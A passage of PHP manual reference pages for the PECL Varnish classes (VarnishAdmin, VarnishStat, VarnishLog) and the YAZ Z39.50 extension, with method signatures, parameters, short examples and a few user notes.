  • VarnishAdmin::getParams — Fetch current varnish instance configuration parameters
  • VarnishAdmin::isRunning — Check if the varnish slave process is currently running
  • VarnishAdmin::setCompat — Set the class compat configuration param
  • VarnishAdmin::setHost — Set the class host configuration param
  • VarnishAdmin::setIdent — Set the class ident configuration param
  • VarnishAdmin::setParam — Set configuration param on the current varnish instance
  • VarnishAdmin::setPort — Set the class port configuration param
  • VarnishAdmin::setSecret — Set the class secret configuration param
  • VarnishAdmin::setTimeout — Set the class timeout configuration param
  • VarnishAdmin::start — Start varnish worker process
  • VarnishAdmin::stop — Stop varnish worker process

User Contributed Notes

There are no user contributed notes for this page.
Basic VarnishLog usage
VarnishAdmin::auth
Varnish


Authenticate on a varnish instance

VarnishAdmin
VarnishAdmin::ban
VarnishAdmin
PHP Manual

VarnishAdmin::auth

(PECL varnish >= 0.3)

VarnishAdmin::auth — Authenticate on a varnish instance

Description

public bool VarnishAdmin::auth ( void )

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin
VarnishAdmin::ban
VarnishAdmin


Ban URLs using a VCL expression

VarnishAdmin::auth
VarnishAdmin::banUrl
VarnishAdmin
PHP Manual

VarnishAdmin::ban

(PECL varnish >= 0.3)

VarnishAdmin::ban — Ban URLs using a VCL expression

Description

public int VarnishAdmin::ban ( string $vcl_regex )

Parameters

vcl_regex

Varnish VCL expression. It's based on the varnish ban command.

Return Values

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::auth
VarnishAdmin::banUrl
VarnishAdmin


Ban an URL using a VCL expression

VarnishAdmin::ban
VarnishAdmin::clearPanic
VarnishAdmin
PHP Manual

VarnishAdmin::banUrl

(PECL varnish >= 0.3)

VarnishAdmin::banUrl — Ban an URL using a VCL expression

Description

public int VarnishAdmin::banUrl ( string $vcl_regex )

Parameters

vcl_regex

URL regular expression in PCRE compatible syntax. It's based on the ban.url varnish command.

Return Values

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::ban
VarnishAdmin::clearPanic
VarnishAdmin


Clear varnish instance panic messages

VarnishAdmin::banUrl
VarnishAdmin::connect
VarnishAdmin
PHP Manual

VarnishAdmin::clearPanic

(PECL varnish >= 0.4)

VarnishAdmin::clearPanic — Clear varnish instance panic messages

Description

public int VarnishAdmin::clearPanic ( void )

Parameters

This function has no parameters.

Return Values

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::banUrl
VarnishAdmin::connect
VarnishAdmin


Connect to a varnish instance administration interface

VarnishAdmin::clearPanic
VarnishAdmin::__construct
VarnishAdmin
PHP Manual

VarnishAdmin::connect

(PECL varnish >= 0.3)

VarnishAdmin::connect — Connect to a varnish instance administration interface

Description

public bool VarnishAdmin::connect ( void )

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::clearPanic
VarnishAdmin::__construct
VarnishAdmin


VarnishAdmin constructor

VarnishAdmin::connect
VarnishAdmin::getPanic
VarnishAdmin
PHP Manual

VarnishAdmin::__construct

(PECL varnish >= 0.3)

VarnishAdmin::__construct — VarnishAdmin constructor

Description

public VarnishAdmin::__construct ([ array $args ] )

Parameters

args

Configuration arguments. The possible keys are:

VARNISH_CONFIG_IDENT - local varnish instance ident
VARNISH_CONFIG_HOST - varnish instance ip
VARNISH_CONFIG_PORT - varnish instance port
VARNISH_CONFIG_SECRET - varnish instance secret
VARNISH_CONFIG_TIMEOUT - connection read timeout
VARNISH_CONFIG_COMPAT - varnish major version compatibility

Return Values

Examples

Example #1 VarnishAdmin::__construct() example

<?php
    $args = array(
        VARNISH_CONFIG_HOST => "::1",
        VARNISH_CONFIG_PORT => 6082,
        VARNISH_CONFIG_SECRET => "5174826b-8595-4958-aa7a-0609632ad7ca",
        VARNISH_CONFIG_TIMEOUT => 300,
    );
    $va = new VarnishAdmin($args);
?>

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::connect
VarnishAdmin::getPanic
VarnishAdmin


Get the last panic message on a varnish instance

VarnishAdmin::__construct
VarnishAdmin::getParams
VarnishAdmin
PHP Manual

VarnishAdmin::getPanic

(PECL varnish >= 0.4)

VarnishAdmin::getPanic — Get the last panic message on a varnish instance

Description

public string VarnishAdmin::getPanic ( void )

Parameters

This function has no parameters.

Return Values

Returns the last panic message on the current varnish instance.

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::__construct
VarnishAdmin::getParams
VarnishAdmin


Fetch current varnish instance configuration parameters

VarnishAdmin::getPanic
VarnishAdmin::isRunning
VarnishAdmin
PHP Manual

VarnishAdmin::getParams

(PECL varnish >= 0.4)

VarnishAdmin::getParams — Fetch current varnish instance configuration parameters

Description

public array VarnishAdmin::getParams ( void )

Parameters

This function has no parameters.

Return Values

Returns an array with the varnish configuration parameters.

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::getPanic
VarnishAdmin::isRunning
VarnishAdmin


Check if the varnish slave process is currently running

VarnishAdmin::getParams
VarnishAdmin::setCompat
VarnishAdmin
PHP Manual

VarnishAdmin::isRunning

(PECL varnish >= 0.3)

VarnishAdmin::isRunning — Check if the varnish slave process is currently running

Description

public bool VarnishAdmin::isRunning ( void )

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::getParams
VarnishAdmin::setCompat
VarnishAdmin


Set the class compat configuration param

VarnishAdmin::isRunning
VarnishAdmin::setHost
VarnishAdmin
PHP Manual

VarnishAdmin::setCompat

(PECL varnish >= 0.9.2)

VarnishAdmin::setCompat — Set the class compat configuration param

Description

public void VarnishAdmin::setCompat ( int $compat )

Parameters

compat

Varnish compatibility option.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::isRunning
VarnishAdmin::setHost
VarnishAdmin


Set the class host configuration param

VarnishAdmin::setCompat
VarnishAdmin::setIdent
VarnishAdmin
PHP Manual

VarnishAdmin::setHost

(PECL varnish >= 0.8)

VarnishAdmin::setHost — Set the class host configuration param

Description

public void VarnishAdmin::setHost ( string $host )

Parameters

host

Connection host configuration parameter.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::setCompat
VarnishAdmin::setIdent
VarnishAdmin


Set the class ident configuration param

VarnishAdmin::setHost
VarnishAdmin::setParam
VarnishAdmin
PHP Manual

VarnishAdmin::setIdent

(PECL varnish >= 0.8)

VarnishAdmin::setIdent — Set the class ident configuration param

Description

public void VarnishAdmin::setIdent ( string $ident )

Parameters

ident

Connection ident configuration parameter.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::setHost
VarnishAdmin::setParam
VarnishAdmin


Set configuration param on the current varnish instance

VarnishAdmin::setIdent
VarnishAdmin::setPort
VarnishAdmin
PHP Manual

VarnishAdmin::setParam

(PECL varnish >= 0.4)

VarnishAdmin::setParam — Set configuration param on the current varnish instance

Description

public int VarnishAdmin::setParam ( string $name , string|integer $value )

Parameters

name

Varnish configuration param name.

value

Varnish configuration param value.

Return Values

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::setIdent
VarnishAdmin::setPort
VarnishAdmin


Set the class port configuration param

VarnishAdmin::setParam
VarnishAdmin::setSecret
VarnishAdmin
PHP Manual

VarnishAdmin::setPort

(PECL varnish >= 0.8)

VarnishAdmin::setPort — Set the class port configuration param

Description

public void VarnishAdmin::setPort ( int $port )

Parameters

port

Connection port configuration parameter.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::setParam
VarnishAdmin::setSecret
VarnishAdmin


Set the class secret configuration param

VarnishAdmin::setPort
VarnishAdmin::setTimeout
VarnishAdmin
PHP Manual

VarnishAdmin::setSecret

(PECL varnish >= 0.8)

VarnishAdmin::setSecret — Set the class secret configuration param

Description

public void VarnishAdmin::setSecret ( string $secret )

Parameters

secret

Connection secret configuration parameter.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::setPort
VarnishAdmin::setTimeout
VarnishAdmin


Set the class timeout configuration param

VarnishAdmin::setSecret
VarnishAdmin::start
VarnishAdmin
PHP Manual

VarnishAdmin::setTimeout

(PECL varnish >= 0.8)

VarnishAdmin::setTimeout — Set the class timeout configuration param

Description

public void VarnishAdmin::setTimeout ( int $timeout )

Parameters

timeout

Connection timeout configuration parameter.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::setSecret
VarnishAdmin::start
VarnishAdmin


Start varnish worker process

VarnishAdmin::setTimeout
VarnishAdmin::stop
VarnishAdmin
PHP Manual

VarnishAdmin::start

(PECL varnish >= 0.3)

VarnishAdmin::start — Start varnish worker process

Description

public int VarnishAdmin::start ( void )

Parameters

This function has no parameters.

Return Values

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::setTimeout
VarnishAdmin::stop
VarnishAdmin


Stop varnish worker process

VarnishAdmin::start
VarnishStat
VarnishAdmin
PHP Manual

VarnishAdmin::stop

(PECL varnish >= 0.3)

VarnishAdmin::stop — Stop varnish worker process

Description

public int VarnishAdmin::stop ( void )

Parameters

This function has no parameters.

Return Values

Returns the varnish command status.

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::start
VarnishStat
VarnishAdmin


The VarnishStat class

(PECL varnish >= 0.3)

Introduction

Class synopsis

VarnishStat {
/* Methods */
public __construct ([ array $args ] )
public array getSnapshot ( void )
}

Table of Contents

  • VarnishStat::__construct — VarnishStat constructor
  • VarnishStat::getSnapshot — Get the current varnish instance statistics snapshot

User Contributed Notes

There are no user contributed notes for this page.
VarnishAdmin::stop
VarnishStat::__construct
Varnish


VarnishStat constructor

VarnishStat
VarnishStat::getSnapshot
VarnishStat
PHP Manual

VarnishStat::__construct

(PECL varnish >= 0.3)

VarnishStat::__construct — VarnishStat constructor

Description

public VarnishStat::__construct ([ array $args ] )

Parameters

args

Configuration arguments. The possible keys are:

VARNISH_CONFIG_IDENT - local varnish instance ident path

Return Values

User Contributed Notes

There are no user contributed notes for this page.
VarnishStat
VarnishStat::getSnapshot
VarnishStat


Get the current varnish instance statistics snapshot

VarnishStat::__construct
VarnishLog
VarnishStat
PHP Manual

VarnishStat::getSnapshot

(PECL varnish >= 0.3)

VarnishStat::getSnapshot — Get the current varnish instance statistics snapshot

Description

public array VarnishStat::getSnapshot ( void )

Parameters

This function has no parameters.

Return Values

Array with the varnish statistic snapshot. The array keys are identical to that in the varnishstat tool.

User Contributed Notes

There are no user contributed notes for this page.
VarnishStat::__construct
VarnishLog
VarnishStat


The VarnishLog class

(PECL varnish >= 0.6)

Introduction

Class synopsis

VarnishLog {
/* Constants */
const integer TAG_Debug = 0 ;
const integer TAG_Error = 1 ;
const integer TAG_CLI = 2 ;
const integer TAG_StatSess = 3 ;
const integer TAG_ReqEnd = 4 ;
const integer TAG_SessionOpen = 5 ;
const integer TAG_SessionClose = 6 ;
const integer TAG_BackendOpen = 7 ;
const integer TAG_BackendXID = 8 ;
const integer TAG_BackendReuse = 9 ;
const integer TAG_BackendClose = 10 ;
const integer TAG_HttpGarbage = 11 ;
const integer TAG_Backend = 12 ;
const integer TAG_Length = 13 ;
const integer TAG_FetchError = 14 ;
const integer TAG_RxRequest = 15 ;
const integer TAG_RxResponse = 16 ;
const integer TAG_RxStatus = 17 ;
const integer TAG_RxURL = 18 ;
const integer TAG_RxProtocol = 19 ;
const integer TAG_RxHeader = 20 ;
const integer TAG_TxRequest = 21 ;
const integer TAG_TxResponse = 22 ;
const integer TAG_TxStatus = 23 ;
const integer TAG_TxURL = 24 ;
const integer TAG_TxProtocol = 25 ;
const integer TAG_TxHeader = 26 ;
const integer TAG_ObjRequest = 27 ;
const integer TAG_ObjResponse = 28 ;
const integer TAG_ObjStatus = 29 ;
const integer TAG_ObjURL = 30 ;
const integer TAG_ObjProtocol = 31 ;
const integer TAG_ObjHeader = 32 ;
const integer TAG_LostHeader = 33 ;
const integer TAG_TTL = 34 ;
const integer TAG_Fetch_Body = 35 ;
const integer TAG_VCL_acl = 36 ;
const integer TAG_VCL_call = 37 ;
const integer TAG_VCL_trace = 38 ;
const integer TAG_VCL_return = 39 ;
const integer TAG_VCL_error = 40 ;
const integer TAG_ReqStart = 41 ;
const integer TAG_Hit = 42 ;
const integer TAG_HitPass = 43 ;
const integer TAG_ExpBan = 44 ;
const integer TAG_ExpKill = 45 ;
const integer TAG_WorkThread = 46 ;
const integer TAG_ESI_xmlerror = 47 ;
const integer TAG_Hash = 48 ;
const integer TAG_Backend_health = 49 ;
const integer TAG_VCL_Log = 50 ;
const integer TAG_Gzip = 51 ;
/* Methods */
public __construct ([ array $args ] )
public array getLine ( void )
public static string getTagName ( int $index )
}

Predefined Constants

VarnishLog::TAG_Debug

VarnishLog::TAG_Error

VarnishLog::TAG_CLI

VarnishLog::TAG_StatSess

VarnishLog::TAG_ReqEnd

VarnishLog::TAG_SessionOpen

VarnishLog::TAG_SessionClose

VarnishLog::TAG_BackendOpen

VarnishLog::TAG_BackendXID

VarnishLog::TAG_BackendReuse

VarnishLog::TAG_BackendClose

VarnishLog::TAG_HttpGarbage

VarnishLog::TAG_Backend

VarnishLog::TAG_Length

VarnishLog::TAG_FetchError

VarnishLog::TAG_RxRequest

VarnishLog::TAG_RxResponse

VarnishLog::TAG_RxStatus

VarnishLog::TAG_RxURL

VarnishLog::TAG_RxProtocol

VarnishLog::TAG_RxHeader

VarnishLog::TAG_TxRequest

VarnishLog::TAG_TxResponse

VarnishLog::TAG_TxStatus

VarnishLog::TAG_TxURL

VarnishLog::TAG_TxProtocol

VarnishLog::TAG_TxHeader

VarnishLog::TAG_ObjRequest

VarnishLog::TAG_ObjResponse

VarnishLog::TAG_ObjStatus

VarnishLog::TAG_ObjURL

VarnishLog::TAG_ObjProtocol

VarnishLog::TAG_ObjHeader

VarnishLog::TAG_LostHeader

VarnishLog::TAG_TTL

VarnishLog::TAG_Fetch_Body

VarnishLog::TAG_VCL_acl

VarnishLog::TAG_VCL_call

VarnishLog::TAG_VCL_trace

VarnishLog::TAG_VCL_return

VarnishLog::TAG_VCL_error

VarnishLog::TAG_ReqStart

VarnishLog::TAG_Hit

VarnishLog::TAG_HitPass

VarnishLog::TAG_ExpBan

VarnishLog::TAG_ExpKill

VarnishLog::TAG_WorkThread

VarnishLog::TAG_ESI_xmlerror

VarnishLog::TAG_Hash

VarnishLog::TAG_Backend_health

VarnishLog::TAG_VCL_Log

VarnishLog::TAG_Gzip

Table of Contents

  • VarnishLog::__construct — Varnishlog constructor
  • VarnishLog::getLine — Get next log line
  • VarnishLog::getTagName — Get the log tag string representation by its index

User Contributed Notes

There are no user contributed notes for this page.
VarnishStat::getSnapshot
VarnishLog::__construct
Varnish


Varnishlog constructor

VarnishLog
VarnishLog::getLine
VarnishLog
PHP Manual

VarnishLog::__construct

(PECL varnish >= 0.6)

VarnishLog::__construct — Varnishlog constructor

Description

public VarnishLog::__construct ([ array $args ] )

Parameters

args

Configuration arguments. The possible keys are:

VARNISH_CONFIG_IDENT - local varnish instance ident path

Return Values

User Contributed Notes

There are no user contributed notes for this page.
VarnishLog
VarnishLog::getLine
VarnishLog


Get next log line

VarnishLog::__construct
VarnishLog::getTagName
VarnishLog
PHP Manual

VarnishLog::getLine

(PECL varnish >= 0.6)

VarnishLog::getLine — Get next log line

Description

public array VarnishLog::getLine ( void )

Parameters

This function has no parameters.

Return Values

Returns an array with the log line data.

User Contributed Notes

There are no user contributed notes for this page.
VarnishLog::__construct
VarnishLog::getTagName
VarnishLog


Get the log tag string representation by its index

VarnishLog::getLine
YAZ
VarnishLog
PHP Manual

VarnishLog::getTagName

(PECL varnish >= 0.6)

VarnishLog::getTagName — Get the log tag string representation by its index

Description

public static string VarnishLog::getTagName ( int $index )

Parameters

index

Log tag index.

Return Values

Returns the log tag name as string.

User Contributed Notes

There are no user contributed notes for this page.
VarnishLog::getLine
YAZ
VarnishLog


YAZ

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • YAZ Functions
    • yaz_addinfo — Returns additional error information
    • yaz_ccl_conf — Configure CCL parser
    • yaz_ccl_parse — Invoke CCL Parser
    • yaz_close — Close YAZ connection
    • yaz_connect — Prepares for a connection to a Z39.50 server
    • yaz_database — Specifies the databases within a session
    • yaz_element — Specifies Element-Set Name for retrieval
    • yaz_errno — Returns error number
    • yaz_error — Returns error description
    • yaz_es_result — Inspects Extended Services Result
    • yaz_es — Prepares for an Extended Service Request
    • yaz_get_option — Returns value of option for connection
    • yaz_hits — Returns number of hits for last search
    • yaz_itemorder — Prepares for Z39.50 Item Order with an ILL-Request package
    • yaz_present — Prepares for retrieval (Z39.50 present)
    • yaz_range — Specifies a range of records to retrieve
    • yaz_record — Returns a record
    • yaz_scan_result — Returns Scan Response result
    • yaz_scan — Prepares for a scan
    • yaz_schema — Specifies schema for retrieval
    • yaz_search — Prepares for a search
    • yaz_set_option — Sets one or more options for connection
    • yaz_sort — Sets sorting criteria
    • yaz_syntax — Specifies the preferred record syntax for retrieval
    • yaz_wait — Wait for Z39.50 requests to complete

User Contributed Notes

There are no user contributed notes for this page.
VarnishLog::getTagName
Introduction
Other Services


Introduction

This extension offers a PHP interface to the YAZ toolkit that implements the » Z39.50 Protocol for Information Retrieval. With this extension you can easily implement a Z39.50 origin (client) that searches or scans Z39.50 targets (servers) in parallel.

The module hides most of the complexity of Z39.50 so it should be fairly easy to use. It supports persistent stateless connections very similar to those offered by the various RDB APIs that are available for PHP. This means that sessions are stateless but shared among users, thus saving the connect and initialize phase steps in most cases.

YAZ is available at » http://www.indexdata.dk/yaz/. You can find news information, example scripts, etc. for this extension at » http://www.indexdata.dk/phpyaz/.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.0.0.

User Contributed Notes

There are no user contributed notes for this page.
YAZ
Installing/Configuring
YAZ


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
YAZ


Requirements

Obtain YAZ (ANSI/NISO Z39.50 support) and install it. YAZ can be fetched in source or in various prebuilt packages from the » YAZ archive. Systems such as Debian GNU/Linux, Suse Linux, FreeBSD also has YAZ as part of their distribution.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/yaz

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Note: Information specific to Windows users

php_yaz.dll depends on yaz.dll. The yaz.dll is part of the Win32 ZIP from the PHP site. It is also part of the Windows YAZ install available from the » YAZ WIN32 area.

On windows, don't forget to add the PHP directory to the PATH, so that the yaz.dll file can be found by the system.

Warning

The IMAP, recode, YAZ and Cyrus extensions cannot be used in conjuction, because they share the same internal symbols. Note: Yaz 2.0 and above does not suffer from this problem.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

YAZ configuration options
Name | Default | Changeable | Changelog
yaz.max_links | "100" | PHP_INI_ALL | Available since PHP 4.3.0. Removed in PHP 5.0.0.
yaz.log_file | NULL | PHP_INI_ALL | Available since PHP 4.3.0. Removed in PHP 5.0.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
YAZ


Examples

PHP/YAZ keeps track of connections with targets (Z-Associations). A resource represents a connection to a target.

The script below demonstrates the parallel searching feature of the API. When invoked with no arguments it prints a query form; else (arguments are supplied) it searches the targets as given in array host.

Example #1 Parallel searching using Yaz

<?php
$host=$_REQUEST[host];
$query=$_REQUEST[query];
$num_hosts = count($host);
if (empty($query) || count($host) == 0) {
    echo '<form method="get">
    <input type="checkbox"
    name="host[]" value="bagel.indexdata.dk/gils" />
        GILS test
    <input type="checkbox"
    name="host[]" value="localhost:9999/Default" />
        local test
    <input type="checkbox" checked="checked"
    name="host[]" value="z3950.loc.gov:7090/voyager" />
        Library of Congress
    <br />
    RPN Query:
    <input type="text" size="30" name="query" />
    <input type="submit" name="action" value="Search" />
    </form>
    ';
} else {
    echo 'You searched for ' . htmlspecialchars($query) . '<br />';
    for ($i = 0; $i < $num_hosts; $i++) {
        $id[] = yaz_connect($host[$i]);
        yaz_syntax($id[$i], "usmarc");
        yaz_range($id[$i], 1, 10);
        yaz_search($id[$i], "rpn", $query);
    }
    yaz_wait();
    for ($i = 0; $i < $num_hosts; $i++) {
        echo '<hr />' . $host[$i] . ':';
        $error = yaz_error($id[$i]);
        if (!empty($error)) {
            echo "Error: $error";
        } else {
            $hits = yaz_hits($id[$i]);
            echo "Result Count $hits";
        }
        echo '<dl>';
        for ($p = 1; $p <= 10; $p++) {
            $rec = yaz_record($id[$i], $p, "string");
            if (empty($rec)) continue;
            echo "<dt><b>$p</b></dt><dd>";
            echo nl2br($rec);
            echo "</dd>";
        }
        echo '</dl>';
    }
}
?>

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
YAZ Functions
YAZ


YAZ Functions

Table of Contents

  • yaz_addinfo — Returns additional error information
  • yaz_ccl_conf — Configure CCL parser
  • yaz_ccl_parse — Invoke CCL Parser
  • yaz_close — Close YAZ connection
  • yaz_connect — Prepares for a connection to a Z39.50 server
  • yaz_database — Specifies the databases within a session
  • yaz_element — Specifies Element-Set Name for retrieval
  • yaz_errno — Returns error number
  • yaz_error — Returns error description
  • yaz_es_result — Inspects Extended Services Result
  • yaz_es — Prepares for an Extended Service Request
  • yaz_get_option — Returns value of option for connection
  • yaz_hits — Returns number of hits for last search
  • yaz_itemorder — Prepares for Z39.50 Item Order with an ILL-Request package
  • yaz_present — Prepares for retrieval (Z39.50 present)
  • yaz_range — Specifies a range of records to retrieve
  • yaz_record — Returns a record
  • yaz_scan_result — Returns Scan Response result
  • yaz_scan — Prepares for a scan
  • yaz_schema — Specifies schema for retrieval
  • yaz_search — Prepares for a search
  • yaz_set_option — Sets one or more options for connection
  • yaz_sort — Sets sorting criteria
  • yaz_syntax — Specifies the preferred record syntax for retrieval
  • yaz_wait — Wait for Z39.50 requests to complete

User Contributed Notes

23-Oct-2005 03:00
Straightforward Steps to get PHP Yaz to work on win32:

Download latest verion of php_yaz.dll and copy to your PHP extensions directory
http://ftp.indexdata.dk/pub/phpyaz/

Download latest version of YAZ toolkit and install it
http://www.indexdata.dk/yaz/

Go to the YAZ toolkit directory
(Most likely C:\Program Files\YAZ\bin)

Copy the 4 DLL files in that folder into your win32 directory

Uncomment the "extention=php_yaz.dll;" line in php.ini

Restart your web server.

Uninstall the YAZ toolkit if you wish.
cstdenis at hotmail dot com 15-Jul-2004 06:17
For those wondering what it is:

"This standard defines a client/server based service and protocol for
Information Retrieval. It specifies procedures and formats for a client to search a
database provided by a server, retrieve database records, and perform related
information retrieval functions. The protocol addresses communication between
information retrieval applications at the client and server; it does not address interaction
between the client and the end-user."
Examples
yaz_addinfo
YAZ


Returns additional error information

YAZ Functions
yaz_ccl_conf
YAZ Functions
PHP Manual

yaz_addinfo

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_addinfo — Returns additional error information

Description

string yaz_addinfo ( resource $id )

Returns additional error information for the last request on the server.

With some servers, this function may return the same string as yaz_error().

Parameters

id

The connection resource returned by yaz_connect().

Return Values

A string containing additional error information or an empty string if the last operation was successful or if no additional information was provided by the server.

See Also

  • yaz_error() - Returns error description
  • yaz_errno() - Returns error number

User Contributed Notes

There are no user contributed notes for this page.
YAZ Functions
yaz_ccl_conf
YAZ Functions


Configure CCL parser

yaz_addinfo
yaz_ccl_parse
YAZ Functions
PHP Manual

yaz_ccl_conf

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_ccl_conf — Configure CCL parser

Description

void yaz_ccl_conf ( resource $id , array $config )

This function configures the CCL query parser for a server with definitions of access points (CCL qualifiers) and their mapping to RPN.

To map a specific CCL query to RPN afterwards call the yaz_ccl_parse() function.

Parameters

id

The connection resource returned by yaz_connect().

config

An array of configuration. Each key of the array is the name of a CCL field and the corresponding value holds a string that specifies a mapping to RPN.

The mapping is a sequence of attribute-type, attribute-value pairs. Attribute-type and attribute-value is separated by an equal sign (=). Each pair is separated by white space.

Additional information can be found on the » CCL page.

Return Values

No value is returned.

Examples

In the example below, the CCL parser is configured to support three CCL fields: ti, au and isbn. Each field is mapped to their BIB-1 equivalent. It is assumed that variable $id is the connection ID.

Example #1 CCL configuration

<?php
$fields = array(
  "ti" => "1=4",
  "au"   => "1=1",
  "isbn" => "1=7"
);
yaz_ccl_conf($id, $fields);
?>

See Also

  • yaz_ccl_parse() - Invoke CCL Parser

User Contributed Notes

quinn at indexdata dot com 05-Mar-2005 07:09
The YAZ CCL parser has extensive functionality beyond what is described here. For the full story, as well as a detailed description of the CCL language, please look at

http://www.indexdata.dk/yaz/doc/tools.tkl#CCL

The flexibility of the parser makes it easy, by setting up separate profiles for servers with different characteristics, to produce a client that performs different query mappings for different servers. Also, because you can configure operators, truncation characters, etc., in the CCL parser, it is simple to make it fit into almost any application.
yaz_addinfo
yaz_ccl_parse
YAZ Functions


Invoke CCL Parser

yaz_ccl_conf
yaz_close
YAZ Functions
PHP Manual

yaz_ccl_parse

(PHP 4 >= 4.0.5, PECL yaz >= 0.9.0)

yaz_ccl_parse — Invoke CCL Parser

Description

bool yaz_ccl_parse ( resource $id , string $query , array &$result )

This function invokes a CCL parser. It converts a given CCL FIND query to an RPN query which may be passed to the yaz_search() function to perform a search.

To define a set of valid CCL fields call yaz_ccl_conf() prior to this function.

Parameters

id

The connection resource returned by yaz_connect().

query

The CCL FIND query.

result

If the function was executed successfully, this will be an array containing the valid RPN query under the key rpn.

Upon failure, three indexes are set in this array to indicate the cause of failure:

  • errorcode - the CCL error code (integer)

  • errorstring - the CCL error string

  • errorpos - approximate position in query of failure (integer is character position)

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 CCL Parsing

We will try to search using CCL. In the example below, $ccl is a CCL query.

<?php

yaz_ccl_conf($id, $fields);  // see example for yaz_ccl_conf
if (!yaz_ccl_parse($id, $ccl, &$cclresult)) {
    echo 'Error: ' . $cclresult["errorstring"];
} else {
    $rpn = $cclresult["rpn"];
    yaz_search($id, "rpn", $rpn);
}
?>

User Contributed Notes

There are no user contributed notes for this page.
yaz_ccl_conf
yaz_close
YAZ Functions


Close YAZ connection

yaz_ccl_parse
yaz_connect
YAZ Functions
PHP Manual

yaz_close

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_close — Close YAZ connection

Description

bool yaz_close ( resource $id )

Closes the connection given by parameter id.

Note:

This function will only close a non-persistent connection opened by setting the persistent option to FALSE with yaz_connect().

Parameters

id

The connection resource returned by yaz_connect().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • yaz_connect() - Prepares for a connection to a Z39.50 server

User Contributed Notes

There are no user contributed notes for this page.
yaz_ccl_parse
yaz_connect
YAZ Functions


Prepares for a connection to a Z39.50 server

yaz_close
yaz_database
YAZ Functions
PHP Manual

yaz_connect

(PHP 4 >= 4.0.1, PECL yaz >= 0.9.0)

yaz_connect — Prepares for a connection to a Z39.50 server

Description

mixed yaz_connect ( string $zurl [, mixed $options ] )

This function returns a connection resource on success, zero on failure.

yaz_connect() prepares for a connection to a Z39.50 server. This function is non-blocking and does not attempt to establish a connection - it merely prepares a connect to be performed later when yaz_wait() is called.

Note:

The » YAZ proxy is a freely available Z39.50 proxy.

Parameters

zurl

A string that takes the form host[:port][/database]. If port is omitted, port 210 is used. If database is omitted Default is used.

options

If given as a string, it is treated as the Z39.50 V2 authentication string (OpenAuth).

If given as an array, the contents of the array serves as options.

user

Username for authentication.

group

Group for authentication.

password

Password for authentication.

cookie

Cookie for session (YAZ proxy).

proxy

Proxy for connection (YAZ proxy).

persistent

A boolean. If TRUE the connection is persistent; If FALSE the connection is not persistent. By default connections are persistent.

Note:

If you open a persistent connection, you won't be able to close it later with yaz_close().

piggyback

A boolean. If TRUE piggyback is enabled for searches; If FALSE piggyback is disabled. By default piggyback is enabled.

Enabling piggyback is more efficient and usually saves a network-round-trip for first time fetches of records. However, a few Z39.50 servers do not support piggyback or they ignore element set names. For those, piggyback should be disabled.

charset

A string that specifies character set to be used in Z39.50 language and character set negotiation. Use strings such as: ISO-8859-1, UTF-8, UTF-16.

Most Z39.50 servers do not support this feature (and thus, this is ignored). Many servers use the ISO-8859-1 encoding for queries and messages. MARC21/USMARC records are not affected by this setting.

preferredMessageSize

An integer that specifies the maximum byte size of all records to be returned by a target during retrieval. See the » Z39.50 standard for more information.

Note:

This option is supported in PECL YAZ 1.0.5 or later.

maximumRecordSize

An integer that specifies the maximum byte size of a single record to be returned by a target during retrieval. This entity is referred to as Exceptional-record-size in the » Z39.50 standard.

Note:

This option is supported in PECL YAZ 1.0.5 or later.

Return Values

A connection resource on success, FALSE on error.

Changelog

Version | Description
4.1.0 | The parameter options was added.

See Also

  • yaz_close() - Close YAZ connection

User Contributed Notes

There are no user contributed notes for this page.
yaz_close
yaz_database
YAZ Functions


Specifies the databases within a session

yaz_connect
yaz_element
YAZ Functions
PHP Manual

yaz_database

(PHP 4 >= 4.0.6, PECL yaz >= 0.9.0)

yaz_database — Specifies the databases within a session

Description

